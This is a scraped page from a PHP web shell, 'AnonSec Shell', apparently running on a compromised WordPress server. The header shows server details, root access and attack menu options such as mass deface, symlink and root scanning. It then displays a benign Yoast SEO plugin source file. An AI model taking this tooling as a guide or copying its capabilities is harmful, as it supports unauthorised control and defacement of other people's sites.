AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.118.0.62   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/wordpress-seo/admin/capabilities/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/wordpress-seo/admin/capabilities/class-capability-manager-integration.php
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * Integrates Yoast SEO capabilities with third party role manager plugins.
 *
 * Integrates with: Members
 * Integrates with: User Role Editor
 */
class WPSEO_Capability_Manager_Integration implements WPSEO_WordPress_Integration {

	/**
	 * Capability manager to use.
	 *
	 * @var WPSEO_Capability_Manager
	 */
	public $manager;

	/**
	 * WPSEO_Capability_Manager_Integration constructor.
	 *
	 * @param WPSEO_Capability_Manager $manager The capability manager to use.
	 */
	public function __construct( WPSEO_Capability_Manager $manager ) {
		$this->manager = $manager;
	}

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_filter( 'members_get_capabilities', [ $this, 'get_capabilities' ] );
		add_action( 'members_register_cap_groups', [ $this, 'action_members_register_cap_group' ] );

		add_filter( 'ure_capabilities_groups_tree', [ $this, 'filter_ure_capabilities_groups_tree' ] );
		add_filter( 'ure_custom_capability_groups', [ $this, 'filter_ure_custom_capability_groups' ], 10, 2 );
	}

	/**
	 * Get the Yoast SEO capabilities.
	 * Optionally append them to an existing array.
	 *
	 * @param  array $caps Optional existing capability list.
	 * @return array
	 */
	public function get_capabilities( array $caps = [] ) {
		if ( ! did_action( 'wpseo_register_capabilities' ) ) {
			do_action( 'wpseo_register_capabilities' );
		}

		return array_merge( $caps, $this->manager->get_capabilities() );
	}

	/**
	 * Add capabilities to its own group in the Members plugin.
	 *
	 * @see members_register_cap_group()
	 *
	 * @return void
	 */
	public function action_members_register_cap_group() {
		if ( ! function_exists( 'members_register_cap_group' ) ) {
			return;
		}

		// Register the yoast group.
		$args = [
			'label'      => esc_html__( 'Yoast SEO', 'wordpress-seo' ),
			'caps'       => $this->get_capabilities(),
			'icon'       => 'dashicons-admin-plugins',
			'diff_added' => true,
		];
		members_register_cap_group( 'wordpress-seo', $args );
	}

	/**
	 * Adds Yoast SEO capability group in the User Role Editor plugin.
	 *
	 * @see URE_Capabilities_Groups_Manager::get_groups_tree()
	 *
	 * @param array $groups Current groups.
	 *
	 * @return array Filtered list of capabilty groups.
	 */
	public function filter_ure_capabilities_groups_tree( $groups = [] ) {
		$groups = (array) $groups;

		$groups['wordpress-seo'] = [
			'caption' => 'Yoast SEO',
			'parent'  => 'custom',
			'level'   => 3,
		];

		return $groups;
	}

	/**
	 * Adds capabilities to the Yoast SEO group in the User Role Editor plugin.
	 *
	 * @see URE_Capabilities_Groups_Manager::get_cap_groups()
	 *
	 * @param array  $groups Current capability groups.
	 * @param string $cap_id Capability identifier.
	 *
	 * @return array List of filtered groups.
	 */
	public function filter_ure_custom_capability_groups( $groups = [], $cap_id = '' ) {
		if ( in_array( $cap_id, $this->get_capabilities(), true ) ) {
			$groups   = (array) $groups;
			$groups[] = 'wordpress-seo';
		}

		return $groups;
	}
}

Anon7 - 2022
AnonSec Team